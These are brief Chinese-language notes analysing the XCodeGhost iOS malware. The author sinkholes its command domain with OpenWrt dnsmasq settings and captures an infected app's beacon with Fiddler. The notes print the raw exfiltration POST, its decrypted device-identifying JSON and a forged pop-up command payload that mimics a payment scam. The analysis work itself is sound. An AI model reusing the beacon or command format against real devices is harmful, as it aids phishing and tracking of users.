XCodeGhost 笔记

因为服务已经关掉了，所以要改路由Openwrt

vi /etc/config/dhcp 
vi /etc/dnsmasq/dnsmasq.conf
/etc/init.d/dnsmasq restart

dhcp文件在config dnsmasq节点追加：

list addnhosts '/etc/dnsmasq/dnsmasq.conf'

dnsmasq.conf文件追加：

192.168.1.11 icloud-analysis.com
192.168.1.11 init.icloud-analysis.com

nslookup init.icloud-analysis.com
Server:    127.0.0.1
Address 1: 127.0.0.1 localhost

Name:      init.icloud-analysis.com
Address 1: 192.168.1.11 icloud-analysis.com

PC 使用Fiddler抓HTTP包，手机端设置代理PC IP:8888

抓到：

POST http://init.icloud-analysis.com/ HTTP/1.1
Host: init.icloud-analysis.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Connection: keep-alive
Cookie: PHPSESSID=bddj900k9lk7esd5stf6ddhbh1
Accept-Language: zh-cn
Content-Length: 320
Accept-Encoding: gzip, deflate
User-Agent: OpenCourse/4.2.8 CFNetwork/758.0.2 Darwin/15.0.0

��
@�e�
�:� %Nה^�pY�yi-�[�T����(������P�����*��� �
��?����<g�b���*fx;t�&���g ʤZ�d���j��W����K�~�������&�J�
r:p�L������P_��P��(pN�+kF�L���J
#gw;�=b��=�_Zb}�����8=�3��ˮ9S9����Ù��撍�>����
�

内容加密，已经解开如下

{
    "len": 320,
    "cmd": 101,
    "ver": 10,
    "txt": {
        "bundle": "com.netease.videoHD",
        "os": "9.0",
        "status": "resignActive",
        "app": "OpenCourse",
        "country": "CN",
        "idfv": "60C3FBEE-XXXXXXXXXXXXXXXXXXXXXXXXXXX",
        "language": "zh-Hans-CN",
        "version": "4.2.8",
        "type": "iPhone7,2",
        "timestamp": "1442915343",
        "name": "my-iPhone"
    }
}

尝试返回数据，无效。没环境，不玩了

{
    "alertHeader": "我是万恶的弹出框",
    "alertBody": "你好我是万恶的弹出框，钱打这个卡上。",
    "appID": "0",
    "cancelTitle": "确定",
    "confirmTitle": "取消",
    "scheme": "mqqopensdkapiV2://qzapp"
}